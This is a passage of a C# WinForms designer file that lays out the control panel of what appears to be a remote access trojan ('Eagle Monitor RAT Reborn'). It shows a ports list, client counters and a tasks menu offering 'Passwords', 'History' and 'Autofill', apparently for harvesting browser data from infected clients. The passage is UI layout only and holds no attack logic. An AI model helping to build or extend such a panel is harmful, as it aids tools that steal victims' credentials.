this.autoSaveRecoveryGuna2CheckBox.TabIndex = 52; this.autoSaveRecoveryGuna2CheckBox.Text = "Auto Save Recovery"; this.autoSaveRecoveryGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.autoSaveRecoveryGuna2CheckBox.UncheckedState.BorderRadius = 0; this.autoSaveRecoveryGuna2CheckBox.UncheckedState.BorderThickness = 0; this.autoSaveRecoveryGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.autoSaveRecoveryGuna2CheckBox.CheckedChanged += new System.EventHandler(this.autoSaveRecoveryGuna2CheckBox_CheckedChanged); // // flagsPackGuna2ComboBox // this.flagsPackGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.flagsPackGuna2ComboBox.Animated = true; this.flagsPackGuna2ComboBox.AutoRoundedCorners = true; this.flagsPackGuna2ComboBox.BackColor = System.Drawing.Color.White; this.flagsPackGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.flagsPackGuna2ComboBox.BorderRadius = 17; this.flagsPackGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.flagsPackGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.flagsPackGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.flagsPackGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.flagsPackGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.flagsPackGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.flagsPackGuna2ComboBox.ItemHeight = 30; this.flagsPackGuna2ComboBox.Items.AddRange(new object[] { "FlagsBase", "FlagsPack1", "FlagsPack2", "FlagsPack3"}); this.flagsPackGuna2ComboBox.Location = new System.Drawing.Point(209, 367); this.flagsPackGuna2ComboBox.Name = "flagsPackGuna2ComboBox"; this.flagsPackGuna2ComboBox.Size = new System.Drawing.Size(275, 36); this.flagsPackGuna2ComboBox.TabIndex = 48; this.flagsPackGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // label1 // this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label1.Location = new System.Drawing.Point(145, 377); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(83, 17); this.label1.TabIndex = 50; this.label1.Text = "Flags Pack :"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // keyGuna2TextBox // this.keyGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.keyGuna2TextBox.Animated = true; this.keyGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.keyGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.keyGuna2TextBox.DefaultText = ""; this.keyGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.keyGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.keyGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.keyGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.keyGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.keyGuna2TextBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.keyGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.keyGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.keyGuna2TextBox.Location = new System.Drawing.Point(86, 409); this.keyGuna2TextBox.Name = "keyGuna2TextBox"; this.keyGuna2TextBox.PasswordChar = '\0'; this.keyGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.keyGuna2TextBox.PlaceholderText = "..."; this.keyGuna2TextBox.SelectedText = ""; this.keyGuna2TextBox.Size = new System.Drawing.Size(775, 31); this.keyGuna2TextBox.TabIndex = 51; // // notificationSoundGuna2CheckBox // this.notificationSoundGuna2CheckBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.notificationSoundGuna2CheckBox.Animated = true; this.notificationSoundGuna2CheckBox.AutoSize = true; this.notificationSoundGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.notificationSoundGuna2CheckBox.CheckedState.BorderRadius = 0; this.notificationSoundGuna2CheckBox.CheckedState.BorderThickness = 0; this.notificationSoundGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.notificationSoundGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.notificationSoundGuna2CheckBox.Location = new System.Drawing.Point(3, 367); this.notificationSoundGuna2CheckBox.Name = "notificationSoundGuna2CheckBox"; this.notificationSoundGuna2CheckBox.Size = new System.Drawing.Size(121, 17); this.notificationSoundGuna2CheckBox.TabIndex = 49; this.notificationSoundGuna2CheckBox.Text = "Notification Sound"; this.notificationSoundGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.notificationSoundGuna2CheckBox.UncheckedState.BorderRadius = 0; this.notificationSoundGuna2CheckBox.UncheckedState.BorderThickness = 0; this.notificationSoundGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.notificationSoundGuna2CheckBox.CheckedChanged += new System.EventHandler(this.notificationSoundGuna2CheckBox_CheckedChanged); // // guna2GroupBox1 // this.guna2GroupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.guna2GroupBox1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox1.BorderThickness = 0; this.guna2GroupBox1.Controls.Add(this.portListView); this.guna2GroupBox1.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox1.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox1.Location = new System.Drawing.Point(0, 0); this.guna2GroupBox1.Name = "guna2GroupBox1"; this.guna2GroupBox1.Padding = new System.Windows.Forms.Padding(2, 40, 2, 2); this.guna2GroupBox1.Size = new System.Drawing.Size(908, 291); this.guna2GroupBox1.TabIndex = 7; this.guna2GroupBox1.Text = "Ports"; // // portListView // this.portListView.BackColor = System.Drawing.Color.White; this.portListView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.portListView.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader1}); this.portListView.ContextMenuStrip = this.portContextMenuStrip; this.portListView.Dock = System.Windows.Forms.DockStyle.Fill; this.portListView.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.portListView.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.portListView.HideSelection = false; this.portListView.Location = new System.Drawing.Point(2, 40); this.portListView.Name = "portListView"; this.portListView.Size = new System.Drawing.Size(904, 249); this.portListView.TabIndex = 0; this.portListView.UseCompatibleStateImageBehavior = false; this.portListView.View = System.Windows.Forms.View.Tile; // // portContextMenuStrip // this.portContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.portContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.portRemoveStripMenuItem, this.addToolStripMenuItem}); this.portContextMenuStrip.Name = "clientContextMenuStrip"; this.portContextMenuStrip.Size = new System.Drawing.Size(130, 72); // // portRemoveStripMenuItem // this.portRemoveStripMenuItem.BackColor = System.Drawing.Color.White; this.portRemoveStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.portRemoveStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.portRemoveStripMenuItem.Name = "portRemoveStripMenuItem"; this.portRemoveStripMenuItem.Size = new System.Drawing.Size(129, 34); this.portRemoveStripMenuItem.Text = "Remove"; this.portRemoveStripMenuItem.Click += new System.EventHandler(this.portRemoveStripMenuItem_Click); // // addToolStripMenuItem // this.addToolStripMenuItem.BackColor = System.Drawing.Color.White; this.addToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.addToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px; this.addToolStripMenuItem.Name = "addToolStripMenuItem"; this.addToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.addToolStripMenuItem.Text = "Add"; this.addToolStripMenuItem.Click += new System.EventHandler(this.addToolStripMenuItem_Click); // // tabPage10 // this.tabPage10.Controls.Add(this.label23); this.tabPage10.Controls.Add(this.onConnectGuna2TabControl); this.tabPage10.Location = new System.Drawing.Point(4, 4); this.tabPage10.Name = "tabPage10"; this.tabPage10.Padding = new System.Windows.Forms.Padding(3); this.tabPage10.Size = new System.Drawing.Size(908, 443); this.tabPage10.TabIndex = 5; this.tabPage10.Text = "Tasks"; this.tabPage10.UseVisualStyleBackColor = true; // // label23 // this.label23.Dock = System.Windows.Forms.DockStyle.Fill; this.label23.Enabled = false; this.label23.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label23.Location = new System.Drawing.Point(3, 3); this.label23.Name = "label23"; this.label23.Size = new System.Drawing.Size(902, 437); this.label23.TabIndex = 66; this.label23.Text = "Coming soon..."; this.label23.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; // // onConnectGuna2TabControl // this.onConnectGuna2TabControl.Anchor = System.Windows.Forms.AnchorStyles.None; this.onConnectGuna2TabControl.Controls.Add(this.tabPage11); this.onConnectGuna2TabControl.Controls.Add(this.tabPage12); this.onConnectGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.onConnectGuna2TabControl.Location = new System.Drawing.Point(65, 25); this.onConnectGuna2TabControl.Name = "onConnectGuna2TabControl"; this.onConnectGuna2TabControl.SelectedIndex = 0; this.onConnectGuna2TabControl.Size = new System.Drawing.Size(747, 380); this.onConnectGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.onConnectGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.onConnectGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.onConnectGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.onConnectGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.onConnectGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.onConnectGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.onConnectGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.onConnectGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.onConnectGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.onConnectGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.onConnectGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.onConnectGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.onConnectGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.onConnectGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.onConnectGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.onConnectGuna2TabControl.TabIndex = 16; this.onConnectGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.onConnectGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage11 // this.tabPage11.BackColor = System.Drawing.Color.White; this.tabPage11.Controls.Add(this.guna2VScrollBar3); this.tabPage11.Controls.Add(this.tasksDataGridView); this.tabPage11.Location = new System.Drawing.Point(4, 44); this.tabPage11.Name = "tabPage11"; this.tabPage11.Size = new System.Drawing.Size(739, 332); this.tabPage11.TabIndex = 0; this.tabPage11.Text = "Tasks"; // // guna2VScrollBar3 // this.guna2VScrollBar3.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar3.FillColor = System.Drawing.Color.White; this.guna2VScrollBar3.InUpdate = false; this.guna2VScrollBar3.LargeChange = 10; this.guna2VScrollBar3.Location = new System.Drawing.Point(721, 0); this.guna2VScrollBar3.Name = "guna2VScrollBar3"; this.guna2VScrollBar3.ScrollbarSize = 18; this.guna2VScrollBar3.Size = new System.Drawing.Size(18, 332); this.guna2VScrollBar3.TabIndex = 14; this.guna2VScrollBar3.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tasksDataGridView // this.tasksDataGridView.AllowUserToAddRows = false; this.tasksDataGridView.AllowUserToDeleteRows = false; this.tasksDataGridView.AllowUserToResizeColumns = false; this.tasksDataGridView.AllowUserToResizeRows = false; this.tasksDataGridView.BackgroundColor = System.Drawing.Color.White; this.tasksDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.tasksDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.tasksDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle33.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle33.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle33.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle33.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle33.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle33.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle33.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.tasksDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle33; this.tasksDataGridView.ColumnHeadersHeight = 36; this.tasksDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column20, this.Column21}); this.tasksDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.tasksDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.tasksDataGridView.EnableHeadersVisualStyles = false; this.tasksDataGridView.GridColor = System.Drawing.Color.White; this.tasksDataGridView.Location = new System.Drawing.Point(0, 0); this.tasksDataGridView.Name = "tasksDataGridView"; this.tasksDataGridView.ReadOnly = true; this.tasksDataGridView.RowHeadersVisible = false; dataGridViewCellStyle34.BackColor = System.Drawing.Color.White; dataGridViewCellStyle34.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle34.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle34.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.tasksDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle34; this.tasksDataGridView.RowTemplate.Height = 26; this.tasksDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.tasksDataGridView.Size = new System.Drawing.Size(739, 332); this.tasksDataGridView.TabIndex = 13; this.tasksDataGridView.TabStop = false; // // Column20 // this.Column20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column20.FillWeight = 25F; this.Column20.HeaderText = "Packet"; this.Column20.Name = "Column20"; this.Column20.ReadOnly = true; this.Column20.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column21 // this.Column21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column21.FillWeight = 20F; this.Column21.HeaderText = "Description"; this.Column21.Name = "Column21"; this.Column21.ReadOnly = true; // // tabPage12 // this.tabPage12.BackColor = System.Drawing.Color.White; this.tabPage12.Controls.Add(this.addTaskGuna2Button); this.tabPage12.Controls.Add(this.tasksGuna2ComboBox); this.tabPage12.Location = new System.Drawing.Point(4, 44); this.tabPage12.Name = "tabPage12"; this.tabPage12.Size = new System.Drawing.Size(739, 332); this.tabPage12.TabIndex = 1; this.tabPage12.Text = "New Tasks"; // // addTaskGuna2Button // this.addTaskGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None; this.addTaskGuna2Button.Animated = true; this.addTaskGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.addTaskGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.addTaskGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.addTaskGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.addTaskGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.addTaskGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.addTaskGuna2Button.ForeColor = System.Drawing.Color.White; this.addTaskGuna2Button.Location = new System.Drawing.Point(-75, 128); this.addTaskGuna2Button.Name = "addTaskGuna2Button"; this.addTaskGuna2Button.Size = new System.Drawing.Size(888, 39); this.addTaskGuna2Button.TabIndex = 68; this.addTaskGuna2Button.Text = "Add"; this.addTaskGuna2Button.Click += new System.EventHandler(this.addTaskGuna2Button_Click); // // tasksGuna2ComboBox // this.tasksGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right))); this.tasksGuna2ComboBox.Animated = true; this.tasksGuna2ComboBox.AutoRoundedCorners = true; this.tasksGuna2ComboBox.BackColor = System.Drawing.Color.White; this.tasksGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tasksGuna2ComboBox.BorderRadius = 17; this.tasksGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.tasksGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.tasksGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.tasksGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.tasksGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.tasksGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.tasksGuna2ComboBox.ItemHeight = 30; this.tasksGuna2ComboBox.Items.AddRange(new object[] { "Passwords", "History", "Autofill"}); this.tasksGuna2ComboBox.Location = new System.Drawing.Point(3, 86); this.tasksGuna2ComboBox.Name = "tasksGuna2ComboBox"; this.tasksGuna2ComboBox.Size = new System.Drawing.Size(733, 36); this.tasksGuna2ComboBox.TabIndex = 67; // // closeGuna2ControlBox // this.closeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.closeGuna2ControlBox.CustomClick = true; this.closeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.closeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.closeGuna2ControlBox.Location = new System.Drawing.Point(1059, 1); this.closeGuna2ControlBox.Name = "closeGuna2ControlBox"; this.closeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.closeGuna2ControlBox.TabIndex = 2; this.closeGuna2ControlBox.Click += new System.EventHandler(this.closeGuna2ControlBox_Click); // // maximizeGuna2ControlBox // this.maximizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.maximizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MaximizeBox; this.maximizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.maximizeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.maximizeGuna2ControlBox.Location = new System.Drawing.Point(1012, 1); this.maximizeGuna2ControlBox.Name = "maximizeGuna2ControlBox"; this.maximizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.maximizeGuna2ControlBox.TabIndex = 3; // // minimizeGuna2ControlBox // this.minimizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.minimizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MinimizeBox; this.minimizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.minimizeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.minimizeGuna2ControlBox.Location = new System.Drawing.Point(965, 1); this.minimizeGuna2ControlBox.Name = "minimizeGuna2ControlBox"; this.minimizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.minimizeGuna2ControlBox.TabIndex = 4; // // panel1 // this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.panel1.Controls.Add(this.guna2Panel5); this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom; this.panel1.Location = new System.Drawing.Point(2, 472); this.panel1.Name = "panel1"; this.panel1.Padding = new System.Windows.Forms.Padding(0, 2, 0, 0); this.panel1.Size = new System.Drawing.Size(1102, 50); this.panel1.TabIndex = 6; // // guna2Panel5 // this.guna2Panel5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.guna2Panel5.BackColor = System.Drawing.Color.White; this.guna2Panel5.Controls.Add(this.totalClientLabel); this.guna2Panel5.Controls.Add(this.githubPictureBox); this.guna2Panel5.Controls.Add(this.portLabel); this.guna2Panel5.Location = new System.Drawing.Point(0, 2); this.guna2Panel5.Name = "guna2Panel5"; this.guna2Panel5.Size = new System.Drawing.Size(1102, 48); this.guna2Panel5.TabIndex = 3; // // githubPictureBox // this.githubPictureBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.githubPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.github_2x; this.githubPictureBox.Location = new System.Drawing.Point(1057, 6); this.githubPictureBox.Name = "githubPictureBox"; this.githubPictureBox.Size = new System.Drawing.Size(36, 36); this.githubPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.githubPictureBox.TabIndex = 9; this.githubPictureBox.TabStop = false; this.githubPictureBox.MouseClick += new System.Windows.Forms.MouseEventHandler(this.githubPictureBox_MouseClick); this.githubPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.githubPictureBox_MouseDown); this.githubPictureBox.MouseLeave += new System.EventHandler(this.githubPictureBox_MouseLeave); this.githubPictureBox.MouseHover += new System.EventHandler(this.githubPictureBox_MouseHover); this.githubPictureBox.MouseUp += new System.Windows.Forms.MouseEventHandler(this.githubPictureBox_MouseUp); // // portLabel // this.portLabel.AutoSize = true; this.portLabel.BackColor = System.Drawing.Color.Transparent; this.portLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); this.portLabel.Location = new System.Drawing.Point(3, 6); this.portLabel.Name = "portLabel"; this.portLabel.Size = new System.Drawing.Size(16, 13); this.portLabel.TabIndex = 8; this.portLabel.Text = "..."; this.portLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // versionLabel // this.versionLabel.AutoSize = true; this.versionLabel.BackColor = System.Drawing.Color.Transparent; this.versionLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); this.versionLabel.Location = new System.Drawing.Point(42, 9); this.versionLabel.Name = "versionLabel"; this.versionLabel.Size = new System.Drawing.Size(16, 13); this.versionLabel.TabIndex = 7; this.versionLabel.Text = "..."; this.versionLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; this.versionLabel.MouseDown += new System.Windows.Forms.MouseEventHandler(this.versionLabel_MouseDown); // // logoPictureBox // this.logoPictureBox.BackColor = System.Drawing.Color.Transparent; this.logoPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.eagle2; this.logoPictureBox.Location = new System.Drawing.Point(4, 1); this.logoPictureBox.Name = "logoPictureBox"; this.logoPictureBox.Size = new System.Drawing.Size(32, 28); this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.logoPictureBox.TabIndex = 5; this.logoPictureBox.TabStop = false; this.logoPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.logoPictureBox_MouseDown); // // totalClientLabel // this.totalClientLabel.AutoSize = true; this.totalClientLabel.BackColor = System.Drawing.Color.Transparent; this.totalClientLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); this.totalClientLabel.Location = new System.Drawing.Point(3, 29); this.totalClientLabel.Name = "totalClientLabel"; this.totalClientLabel.Size = new System.Drawing.Size(16, 13); this.totalClientLabel.TabIndex = 10; this.totalClientLabel.Text = "..."; this.totalClientLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // MainForm // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.White; this.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.BordersSize = 2; this.ClientSize = new System.Drawing.Size(1106, 524); 